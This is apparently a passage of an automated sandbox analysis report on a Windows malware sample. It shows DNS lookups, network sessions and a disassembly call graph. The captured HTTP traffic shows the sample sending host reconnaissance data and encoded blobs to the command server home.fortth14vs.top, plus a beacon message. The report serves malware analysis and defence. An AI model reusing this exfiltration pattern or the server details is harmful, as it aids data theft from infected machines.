                                Dec 31, 2024 09:45:30.848994970 CET4970880192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:30.855302095 CET4970880192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:30.860127926 CET804970891.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:31.633109093 CET804970891.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:31.633277893 CET804970891.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:31.633343935 CET4970880192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:31.633646965 CET4970880192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:31.638470888 CET804970891.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:32.507060051 CET4970980192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:32.511905909 CET804970991.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:32.511970043 CET4970980192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:32.515388966 CET4970980192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:32.520139933 CET804970991.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:33.408844948 CET804970991.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:33.409029961 CET804970991.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:33.409092903 CET4970980192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:33.409415960 CET4970980192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:33.414164066 CET804970991.149.241.220192.168.2.10

                                UDP Packets

                                TimestampSource PortDest PortSource IPDest IP
                                Dec 31, 2024 09:45:23.103982925 CET6471553192.168.2.101.1.1.1
                                Dec 31, 2024 09:45:23.104049921 CET6471553192.168.2.101.1.1.1
                                Dec 31, 2024 09:45:23.110733032 CET53647151.1.1.1192.168.2.10
                                Dec 31, 2024 09:45:23.111239910 CET53647151.1.1.1192.168.2.10
                                Dec 31, 2024 09:45:26.032902956 CET6471853192.168.2.101.1.1.1
                                Dec 31, 2024 09:45:26.032957077 CET6471853192.168.2.101.1.1.1
                                Dec 31, 2024 09:45:26.573601961 CET53647181.1.1.1192.168.2.10
                                Dec 31, 2024 09:45:26.783350945 CET53647181.1.1.1192.168.2.10
                                Dec 31, 2024 09:45:30.128298998 CET6472053192.168.2.101.1.1.1
                                Dec 31, 2024 09:45:30.128354073 CET6472053192.168.2.101.1.1.1
                                Dec 31, 2024 09:45:30.135452032 CET53647201.1.1.1192.168.2.10
                                Dec 31, 2024 09:45:30.437493086 CET53647201.1.1.1192.168.2.10
                                Dec 31, 2024 09:45:31.700864077 CET6472253192.168.2.101.1.1.1
                                Dec 31, 2024 09:45:31.701668978 CET6472253192.168.2.101.1.1.1
                                Dec 31, 2024 09:45:32.320027113 CET53647221.1.1.1192.168.2.10
                                Dec 31, 2024 09:45:32.506172895 CET53647221.1.1.1192.168.2.10
                                Dec 31, 2024 09:45:52.128952980 CET5359915162.159.36.2192.168.2.10
                                Dec 31, 2024 09:45:52.599133015 CET4969853192.168.2.101.1.1.1
                                Dec 31, 2024 09:45:52.606662035 CET53496981.1.1.1192.168.2.10

                                DNS Queries

                                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                Dec 31, 2024 09:45:23.103982925 CET192.168.2.101.1.1.10xe0daStandard query (0)httpbin.orgA (IP address)IN (0x0001)false
                                Dec 31, 2024 09:45:23.104049921 CET192.168.2.101.1.1.10x1d49Standard query (0)httpbin.org28IN (0x0001)false
                                Dec 31, 2024 09:45:26.032902956 CET192.168.2.101.1.1.10x27b1Standard query (0)home.fortth14vs.topA (IP address)IN (0x0001)false
                                Dec 31, 2024 09:45:26.032957077 CET192.168.2.101.1.1.10xf25aStandard query (0)home.fortth14vs.top28IN (0x0001)false
                                Dec 31, 2024 09:45:30.128298998 CET192.168.2.101.1.1.10xea69Standard query (0)home.fortth14vs.topA (IP address)IN (0x0001)false
                                Dec 31, 2024 09:45:30.128354073 CET192.168.2.101.1.1.10x7693Standard query (0)home.fortth14vs.top28IN (0x0001)false
                                Dec 31, 2024 09:45:30.140806913 CET192.168.2.101.1.1.10xea69Standard query (0)home.fortth14vs.topA (IP address)IN (0x0001)false
                                Dec 31, 2024 09:45:31.700864077 CET192.168.2.101.1.1.10x6feeStandard query (0)home.fortth14vs.topA (IP address)IN (0x0001)false
                                Dec 31, 2024 09:45:31.701668978 CET192.168.2.101.1.1.10xdcf1Standard query (0)home.fortth14vs.top28IN (0x0001)false
                                Dec 31, 2024 09:45:52.599133015 CET192.168.2.101.1.1.10xda53Standard query (0)18.31.95.13.in-addr.arpaPTR (Pointer record)IN (0x0001)false

                                DNS Answers

                                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                Dec 31, 2024 09:45:23.111239910 CET1.1.1.1192.168.2.100xe0daNo error (0)httpbin.org34.197.122.172A (IP address)IN (0x0001)false
                                Dec 31, 2024 09:45:23.111239910 CET1.1.1.1192.168.2.100xe0daNo error (0)httpbin.org34.200.57.114A (IP address)IN (0x0001)false
                                Dec 31, 2024 09:45:26.573601961 CET1.1.1.1192.168.2.100x27b1No error (0)home.fortth14vs.top91.149.241.220A (IP address)IN (0x0001)false
                                Dec 31, 2024 09:45:30.843120098 CET1.1.1.1192.168.2.100xea69No error (0)home.fortth14vs.top91.149.241.220A (IP address)IN (0x0001)false
                                Dec 31, 2024 09:45:32.506172895 CET1.1.1.1192.168.2.100x6feeNo error (0)home.fortth14vs.top91.149.241.220A (IP address)IN (0x0001)false
                                Dec 31, 2024 09:45:52.606662035 CET1.1.1.1192.168.2.100xda53Name error (3)18.31.95.13.in-addr.arpanonenonePTR (Pointer record)IN (0x0001)false

                                HTTP Request Dependency Graph

                                • httpbin.org
                                • home.fortth14vs.top

                                HTTP Packets

                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                0192.168.2.104970691.149.241.220808060C:\Users\user\Desktop\Hqle5OSmLQ.exe
                                TimestampBytes transferredDirectionData
                                Dec 31, 2024 09:45:26.801568031 CET12360OUTPOST /gduZhxVRrNSTmMahdBGb1735537738 HTTP/1.1
                                Host: home.fortth14vs.top
                                Accept: */*
                                Content-Type: application/json
                                Content-Length: 442494
                                Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 38 34 36 38 37 33 39 31 36 33 36 32 37 34 33 33 37 36 34 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 [TRUNCATED]
                                Data Ascii: { "ip": "8.46.123.189", "current_time": "8468739163627433764", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 26, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 324 }, { "name": "csrss.exe", "pid": 408 }, { "name": "wininit.exe", "pid": 484 }, { "name": "csrss.exe", "pid": 492 }, { "name": "winlogon.exe", "pid": 552 }, { "name": "services.exe", "pid": 620 }, { "name": "lsass.exe", "pid": 628 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 776 }, { "name": "fontdrvhost.exe", "pid": 784 }, { "name": "svchost.exe", "pid": 872 }, { "name": "svchost.exe", "pid": 924 }, { "name": "dwm.exe", "pid": 984 }, { "name": "svchost.exe", "pid": 360 }, { "name": "svchost.exe", "pid": 356 }, { "name": "svchost.exe", "pid": 772 }, { "name": "svchost.exe" [TRUNCATED]
                                Dec 31, 2024 09:45:26.806607008 CET9888OUTData Raw: 75 78 57 64 33 46 4a 61 33 6b 75 67 61 48 71 73 64 70 63 6f 38 4e 79 30 55 69 73 6f 39 53 30 72 34 4d 65 41 4e 49 43 76 72 57 72 61 37 34 79 76 56 55 46 72 66 54 6f 34 76 43 33 68 2b 4b 34 52 75 52 39 70 75 46 31 58 58 64 63 30 36 59 44 74 62 65
                                Data Ascii: uxWd3FJa3kugaHqsdpco8Ny0Uiso9S0r4MeANICvrWra74yvVUFrfTo4vC3h+K4RuR9puF1XXdc06YDtbeDb9VPBjbp+ecQeJvBeQTrUMbnFPFY6hUnSq5flkXj8XTr0m41MPX9hfDYOvCz56eOxGGktE\/elFP9N4Z8H\/EDiunh8VgMhrYPLsTTp16OaZxKOV4Krhq0YypYrDLE2xePw1WMounWy7C4yE03KLcYzlH5LH\/AC
                                Dec 31, 2024 09:45:26.806682110 CET4944OUTData Raw: 41 4f 72 32 34 70 67 44 74 39 31 50 4d 50 31 49 5c 2f 57 70 39 72 5c 2f 37 6e 50 2b 72 5c 2f 41 4f 57 5c 2f 54 32 7a 31 71 44 79 33 2b 54 2b 50 48 2b 52 2b 6e 30 5c 2f 58 4e 42 30 42 35 61 66 78 70 47 6e 5c 2f 41 43 31 37 69 66 70 56 4e 6c 2b 62
                                Data Ascii: AOr24pgDt91PMP1I\/Wp9r\/7nP+r\/AOW\/T2z1qDy3+T+PH+R+n0\/XNB0B5afxpGn\/AC17ifpVNl+b\/Y\/6afuLf\/t07df\/AK9XNv7v5\/zk\/n+f8sdRUO2P5\/4\/L\/e9zQdlPr8isWO3Z9f8\/hx\/k0yVv3e9\/wDv5\/npzj\/Cpv8AWfx\/9s\/\/AK38v5Uxhukd9keP8\/hzz\/8AroNCtt3R8ny+0UXm\/
                                Dec 31, 2024 09:45:26.806730032 CET4944OUTData Raw: 37 58 38 37 64 66 30 4f 66 38 41 42 44 6c 38 65 46 66 32 6a 78 6e 47 50 45 48 77 76 50 58 48 58 54 76 48 51 5c 2f 38 41 5a 61 5c 2f 6c 58 36 5a 4d 75 62 77 55 78 79 74 5c 2f 7a 55 66 44 5c 2f 77 43 47 49 71 76 74 35 48 39 70 5c 2f 51 46 62 58 30
                                Data Ascii: 7X87df0Of8ABDl8eFf2jxnGPEHwvPXHXTvHQ\/8AZa\/lX6ZMubwUxyt\/zUfD\/wCGIqvt5H9p\/QFbX0hcut\/0SvE+yu\/92odD+Wn4n\/GDx98X7jwZP461qTU4vh78OPA3wp8G2CK0On6B4L+H3h6x8OaHp1hab3SGSeGybVNWnUhtQ1q\/1C\/cJ9oWKPqf2ffjjqnwP8Yanevay6\/4A8eeGdZ+HXxc8DGZIbbxv8OPF
                                Dec 31, 2024 09:45:26.806771040 CET4944OUTData Raw: 4e 5c 2f 45 4f 39 2b 44 58 78 62 38 4f 66 42 44 34 30 36 54 38 4e 39 61 2b 4a 4c 36 78 38 4a 5c 2f 69 46 34 76 30 37 78 58 71 58 68 62 54 66 46 4e 74 38 53 5c 2f 68 4e 38 4d 62 4c 56 4e 50 31 78 50 41 33 69 75 30 74 4e 64 38 43 36 6c 34 78 30 53
                                Data Ascii: N\/EO9+DXxb8OfBD406T8N9a+JL6x8J\/iF4v07xXqXhbTfFNt8S\/hN8MbLVNP1xPA3iu0tNd8C6l4x0SLUdGmsr2\/tXutOa9+Iz\/jjhPhbMMpyviDPMHlWPz2Uo5Vh8V7VPF8uMy\/LnJVIUp0qMP7QzXLMCqmIqUqcsXj8Hh4ydXEUoS\/zE4Z8N+O+MsqzvO+F+G8dnOV8OU5Vc5xeE9i44KMMFi8xmnTqVqdavUhl+X4
                                Dec 31, 2024 09:45:26.811598063 CET7416OUTData Raw: 45 65 34 31 33 55 66 43 4f 6e 2b 4f 4c 4b 31 74 76 48 64 72 63 5c 2f 44 59 2b 43 62 33 34 64 77 66 46 61 37 2b 4a 63 53 66 44 37 54 66 41 46 37 34 75 76 64 4e 30 69 2b 35 37 78 42 4c 6f 39 68 48 34 64 31 54 77 7a 38 52 50 68 58 38 53 50 42 76 69
                                Data Ascii: Ee413UfCOn+OLK1tvHdrc\/DY+Cb34dwfFa7+JcSfD7TfAF74uvdN0i+57xBLo9hH4d1Twz8RPhX8SPBvinwb8e\/Fuj\/ETwVrXj628Ipd\/s2\/C3XvjJ8UvBOuWHj34YeBviN4X8aWHgHQ49a0Ww8R\/D3TNJ8R2ut6Pf6Lrd5pA1fU9I+k4Uyj6Lfhtmn+tfDOKynI8xwuU5jVrZlUz3izHU8Bl6hio5jRzCjmmY43CZfi4
                                Dec 31, 2024 09:45:26.811686039 CET7416OUTData Raw: 48 78 66 44 47 63 63 4a 35 58 78 6a 69 38 4c 6b 5c 2f 45 2b 59 59 6a 4d 4f 4a 4d 4a 69 63 44 68 61 30 63 77 71 34 76 4d 63 7a 7a 43 72 4b 6e 58 68 68 31 6a 63 4e 4b 68 55 7a 4e 31 4d 48 48 44 59 6e 44 30 6c 69 4d 42 6c 30 38 62 54 78 32 47 68 6a
                                Data Ascii: HxfDGccJ5Xxji8Lk\/E+YYjMOJMJicDha0cwq4vMczzCrKnXhh1jcNKhUzN1MHHDYnD0liMBl08bTx2GhjcJjv7H4e+ntjcDxPlPFmd+H2Bx+ccMcOVeG+F8Zhcyx9CpluDq8NZbw1JVcPLFLL8XKthsuc69TF4PFTh\/aGYvA\/Uq1XDV8J8jfA7x14S\/ZZ139m34b+E\/GHhT4meFPhof2+vjB8SPjDofwo8c+IvgjdfFv47
                                Dec 31, 2024 09:45:26.855261087 CET34608OUTData Raw: 4d 70 35 76 6c 43 54 7a 66 33 2b 65 33 62 30 78 6e 76 52 48 5c 2f 46 6c 35 4e 5c 2f 2b 74 4d 66 35 66 34 34 48 41 39 4b 66 38 6e 2b 75 32 52 75 6e 6d 6d 58 7a 50 2b 57 45 33 2b 54 6e 2b 58 4f 61 59 2b 5c 2f 63 2b 39 49 33 38 76 38 41 64 53 79 52
                                Data Ascii: Mp5vlCTzf3+e3b0xnvRH\/Fl5N\/+tMf5f44HA9Kf8n+u2RunmmXzP+WE3+Tn+XOaY+\/c+9I38v8AdSyR\/wCf8O2ao0Bvl\/fIkkyeV+6\/qKZtjb7\/AMn\/AF0\/z744p5Ux\/Kjx7JP9Fi8uTyP89+cdaZ5nR0f2l\/57w\/8A1+\/9elBpT6\/L9SL\/AJaQu5jdLj91EPK\/1Pp3+mM\/oTSbPmT+NP8Ap4\/9Jf8A62
                                Dec 31, 2024 09:45:26.903016090 CET1236OUTData Raw: 58 6e 6e 75 52 77 66 62 6a 39 4b 5a 38 2b 37 79 5a 6e 6a 32 66 36 71 57 33 50 37 6a 39 50 38 41 39 56 54 65 59 64 79 52 77 5c 2f 4f 35 6c 5c 2f 34 39 5c 2f 77 44 36 33 2b 66 78 71 46 76 37 2b 79 52 34 66 39 56 35 6c 78 4c 6e 5c 2f 50 34 48 38 36
                                Data Ascii: XnnuRwfbj9KZ8+7yZnj2f6qW3P7j9P8A9VTeYdyRw\/O5l\/49\/wD63+fxqFv7+yR4f9V5lxLn\/P4H86z9n5\/h\/wAEBgbyw6Ifn\/5ayR\/v\/wDPNEbeSyOk2x+ZYo\/N\/D1z+fT2xU3lpJl98mz\/AFv7yX\/R+v8AIflz+FQ+X\/wAf9delwf+XXH+frR7Pz\/D\/gmntPL8f+AM6732f6z\/AFUn\/Lfv+WP8mmeZ5
                                Dec 31, 2024 09:45:26.955034018 CET1236OUTData Raw: 32 58 55 75 4b 4d 46 48 47 30 46 44 47 35 52 67 63 6e 6a 56 79 76 43 30 6b 73 58 53 65 63 34 4a 59 33 32 36 70 55 4b 75 56 54 2b 71 62 6f 36 74 65 5c 2f 74 57 5c 2f 74 56 58 50 68 72 39 6e 37 78 46 2b 31 55 66 45 6e 5c 2f 42 56 7a 34 79 5c 2f 43
                                Data Ascii: 2XUuKMFHG0FDG5RgcnjVyvC0ksXSec4JY326pUKuVT+qbo6te\/tW\/tVXPhr9n7xF+1UfEn\/BVz4y\/CL9o7VLHxp8QtJ0\/9in9nPRbD4dan4X+K+tah8MfFng7QfAumeKofF\/xZ1xPjP8AHC18W\/BmCL4N3Glp4fEul+Jl1Dw34ZeIdX1n9n\/9kH4hXv7P\/jP4ofs\/Wv7MX\/BRnWfHv7clzr3xW0fSP2f9M+Ff7Rn
                                Dec 31, 2024 09:45:27.004468918 CET1236OUTData Raw: 76 5c 2f 77 42 57 66 30 5c 2f 57 75 5a 38 56 65 44 74 42 38 62 36 4e 50 6f 58 69 53 79 53 2b 30 32 34 49 5a 34 57 43 45 37 67 43 41 79 73 36 53 42 53 41 78 35 41 7a 6e 48 70 58 31 66 69 4c 77 74 50 6a 6a 67 54 69 37 67 36 6e 69 35 34 43 58 45 2b
                                Data Ascii: v\/wBWf0\/WuZ8VeDtB8b6NPoXiSyS+024IZ4WCE7gCAys6SBSAx5AznHpX1fiLwtPjjgTi7g6ni54CXE+QZnkf1ynJxqYeGZYaphalWnNJuFSNOpLknyyUJWk4TScX8H4Uca0\/DnxI4M46rYGGZUuFs+wWbzwNRJwxMcLNtwabSe\/MleLbirSi7SXiPwPf47fs6L+xL8Nvido\/xS+DH7Rf9r\/8Fhf2gdC8C+MdD13wJ8Uf
                                Dec 31, 2024 09:45:30.049329042 CET157INHTTP/1.1 200 OK
                                Server: nginx/1.22.1
                                Date: Tue, 31 Dec 2024 08:45:29 GMT
                                Content-Type: text/html; charset=utf-8
                                Content-Length: 1
                                Connection: close
                                Data Raw: 30
                                Data Ascii: 0


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                1192.168.2.104970891.149.241.220808060C:\Users\user\Desktop\Hqle5OSmLQ.exe
                                TimestampBytes transferredDirectionData
                                Dec 31, 2024 09:45:30.855302095 CET99OUTGET /gduZhxVRrNSTmMahdBGb1735537738?argument=0 HTTP/1.1
                                Host: home.fortth14vs.top
                                Accept: */*
                                Dec 31, 2024 09:45:31.633109093 CET372INHTTP/1.1 404 NOT FOUND
                                Server: nginx/1.22.1
                                Date: Tue, 31 Dec 2024 08:45:31 GMT
                                Content-Type: text/html; charset=utf-8
                                Content-Length: 207
                                Connection: close
                                Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a
                                Data Ascii: <!doctype html><html lang=en><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                2192.168.2.104970991.149.241.220808060C:\Users\user\Desktop\Hqle5OSmLQ.exe
                                TimestampBytes transferredDirectionData
                                Dec 31, 2024 09:45:32.515388966 CET172OUTPOST /gduZhxVRrNSTmMahdBGb1735537738 HTTP/1.1
                                Host: home.fortth14vs.top
                                Accept: */*
                                Content-Type: application/json
                                Content-Length: 31
                                Data Raw: 7b 20 22 69 64 31 22 3a 20 22 30 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 31 22 20 7d
                                Data Ascii: { "id1": "0", "data": "Done1" }
                                Dec 31, 2024 09:45:33.408844948 CET372INHTTP/1.1 404 NOT FOUND
                                Server: nginx/1.22.1
                                Date: Tue, 31 Dec 2024 08:45:33 GMT
                                Content-Type: text/html; charset=utf-8
                                Content-Length: 207
                                Connection: close
                                Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a
                                Data Ascii: <!doctype html><html lang=en><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>


                                HTTPS Proxied Packets

                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                0192.168.2.104970534.197.122.1724438060C:\Users\user\Desktop\Hqle5OSmLQ.exe
                                TimestampBytes transferredDirectionData
                                2024-12-31 08:45:23 UTC52OUTGET /ip HTTP/1.1
                                Host: httpbin.org
                                Accept: */*
                                2024-12-31 08:45:24 UTC224INHTTP/1.1 200 OK
                                Date: Tue, 31 Dec 2024 08:45:24 GMT
                                Content-Type: application/json
                                Content-Length: 31
                                Connection: close
                                Server: gunicorn/19.9.0
                                Access-Control-Allow-Origin: *
                                Access-Control-Allow-Credentials: true
                                2024-12-31 08:45:24 UTC31INData Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a
                                Data Ascii: { "origin": "8.46.123.189"}


                                Statistics

                                CPU Usage

                                Click to jump to process

                                Memory Usage

                                Click to jump to process

                                High Level Behavior Distribution

                                Click to dive into process behavior distribution

                                System Behavior

                                General

                                Target ID:0
                                Start time:03:45:20
                                Start date:31/12/2024
                                Path:C:\Users\user\Desktop\Hqle5OSmLQ.exe
                                Wow64 process (32bit):true
                                Commandline:"C:\Users\user\Desktop\Hqle5OSmLQ.exe"
                                Imagebase:0xae0000
                                File size:4'512'256 bytes
                                MD5 hash:4F6DAB981F84C2DDB35307B748427E30
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:low
                                Has exited:true

                                Disassembly

                                Reset < >

                                  Execution Graph

                                  Execution Coverage:2.7%
                                  Dynamic/Decrypted Code Coverage:0%
                                  Signature Coverage:21.9%
                                  Total number of Nodes:302
                                  Total number of Limit Nodes:46
                                  execution_graph 59936 b195b0 59937 b195c8 59936->59937 59938 b195fd 59936->59938 59937->59938 59940 b1a150 59937->59940 59941 b1a15f 59940->59941 59943 b1a1d0 59940->59943 59942 b1a181 getsockname 59941->59942 59941->59943 59942->59943 59943->59938 59944 b16ab0 59945 b16ad5 59944->59945 59947 b16b54 59945->59947 59948 af6fa0 59945->59948 59949 af6feb 59948->59949 59950 af6fd4 59948->59950 59949->59947 59950->59949 59951 af7207 select 59950->59951 59951->59949 59955 af7233 59951->59955 59952 af726b __WSAFDIsSet 59953 af729a __WSAFDIsSet 59952->59953 59952->59955 59954 af72ba __WSAFDIsSet 59953->59954 59953->59955 59954->59955 59955->59949 59955->59952 59955->59953 59955->59954 60089 b18b50 60090 b18b6b 60089->60090 60108 b18bb5 60089->60108 60091 b18bf3 60090->60091 60092 b18b8f 60090->60092 60090->60108 60109 b1a550 60091->60109 60124 af6e40 select __WSAFDIsSet __WSAFDIsSet __WSAFDIsSet 60092->60124 60095 b18bfc 60098 b18cb2 60095->60098 60099 b18c1f connect 60095->60099 60103 b18c35 60095->60103 60095->60108 60096 b18ba1 60097 b18cd9 SleepEx 60096->60097 60096->60098 60096->60108 60101 b18d14 60097->60101 60100 b1a150 getsockname 60098->60100 60107 b18dff 60098->60107 60098->60108 60099->60103 60100->60107 60101->60098 60104 b18d43 60101->60104 60105 b1a150 getsockname 60103->60105 60106 b1a150 getsockname 60104->60106 60105->60096 60106->60108 60107->60108 60125 ae78b0 closesocket 60107->60125 60110 b1a575 60109->60110 60113 b1a597 60110->60113 60127 ae75e0 60110->60127 60112 ae78b0 closesocket 60115 b1a713 60112->60115 60114 b1a811 setsockopt 60113->60114 60120 b1a83b 60113->60120 60122 b1a69b 60113->60122 60114->60120 60115->60095 60117 b1af56 60118 b1af5d 60117->60118 60117->60122 60118->60115 60119 b1a150 getsockname 60118->60119 60119->60115 60120->60122 60123 b1abe1 60120->60123 60133 b16be0 select __WSAFDIsSet __WSAFDIsSet __WSAFDIsSet closesocket 60120->60133 60122->60112 60122->60115 60123->60122 60132 b467e0 ioctlsocket 60123->60132 60124->60096 60126 ae78c5 60125->60126 60126->60108 60128 ae7607 socket 60127->60128 60129 ae75ef 60127->60129 60130 ae762b 60128->60130 60129->60128 60131 ae7643 60129->60131 60130->60113 60131->60113 60132->60117 60133->60123 60134 ae13c9 60138 ae1160 60134->60138 60137 ae13a1 60138->60137 60139 e693e0 60138->60139 60149 e68a20 10 API calls 60138->60149 60147 e69400 60139->60147 60148 e693f3 60139->60148 60140 e69688 60141 e696c7 60140->60141 60140->60148 60150 e69280 vfprintf 60140->60150 60151 e69220 vfprintf 60141->60151 60144 e696df 60144->60138 60145 e69220 vfprintf 60145->60147 60146 e69280 vfprintf 60146->60147 60147->60140 60147->60141 60147->60145 60147->60146 60147->60148 60148->60138 60149->60138 60150->60140 60151->60144 60152 b97e10 60153 b97e4e 60152->60153 60155 b97e3d 60152->60155 60153->60155 60156 b98b50 60153->60156 60158 b98b60 60156->60158 60157 b98c32 60157->60155 60158->60157 60159 b96050 5 API calls 60158->60159 60159->60157 60160 b96f10 60161 b96f35 60160->60161 60167 b97019 60161->60167 60168 baa870 60161->60168 60164 b9701d 60165 b96f4e 60165->60164 60166 b971c0 5 API calls 60165->60166 60165->60167 60166->60165 60167->60164 60172 ba9320 closesocket 60167->60172 60169 baa8aa recv 60168->60169 60170 baa88c 60168->60170 60169->60165 60170->60169 60171 baa893 60170->60171 60171->60165 60172->60164 59956 fafa30 59958 fafa5a 59956->59958 59957 fafa66 59958->59957 59961 e712c0 59958->59961 59960 fafa9a 59962 e712cc 59961->59962 59965 e6e050 59962->59965 59964 e712fa 59964->59960 59967 e6e09d 59965->59967 59980 e6e503 59965->59980 59966 e6e1a6 59966->59964 59967->59966 59968 e6e18e 59967->59968 59974 e6e388 59967->59974 59975 e6e243 59967->59975 59967->59980 59968->59966 59969 e6ed90 ungetc 59968->59969 59969->59966 59970 e70250 ungetc 59970->59980 59971 e711a4 ungetc 59971->59980 59972 e70742 ungetc 59972->59966 59973 e708d7 ungetc 59973->59980 59974->59966 59979 e700b8 ungetc 59974->59979 59974->59980 59975->59966 59975->59972 59977 e70006 ungetc 59977->59980 59978 e70e3e ungetc 59978->59980 59979->59974 59980->59966 59980->59970 59980->59971 59980->59973 59980->59975 59980->59977 59980->59978 59981 e6b1a0 islower islower 59980->59981 59981->59980 59982 afd5e0 59983 afd652 WSAStartup 59982->59983 59984 afd5f0 59982->59984 59983->59984 60173 ae3d5e 60176 ae3d30 60173->60176 60175 ae3d90 60176->60173 60176->60175 60177 af0ab0 60176->60177 60180 af05b0 60177->60180 60179 af0acd 60179->60176 60181 af05bd 60180->60181 60184 af07c7 60180->60184 60182 af0707 WSAEventSelect 60181->60182 60183 af07ef 60181->60183 60181->60184 60190 ae76a0 60181->60190 60182->60181 60182->60184 60183->60184 60185 af6fa0 4 API calls 60183->60185 60186 af0847 60183->60186 60184->60179 60185->60186 60186->60184 60188 af09e8 WSAEnumNetworkEvents 60186->60188 60189 af09d0 WSAEventSelect 60186->60189 60188->60186 60188->60189 60189->60186 60189->60188 60191 ae76e6 send 60190->60191 60192 ae76c0 60190->60192 60193 ae76c9 60191->60193 60192->60191 60192->60193 60193->60181 59985 ae29ff FindFirstFileA 59986 ae2a31 59985->59986 59987 ae2a5c RegOpenKeyExA 59986->59987 59988 ae2a93 59987->59988 59989 ae2ade CharUpperA 59988->59989 59991 ae2b0a 59989->59991 59990 ae2bf9 QueryFullProcessImageNameA 59992 ae2c3b CloseHandle 59990->59992 59991->59990 59994 ae2c64 59992->59994 59993 ae2df1 CloseHandle 59995 ae2e23 59993->59995 59994->59993 60194 b1b3c0 60195 b1b3cb 60194->60195 60196 b1b3ee 60194->60196 60199 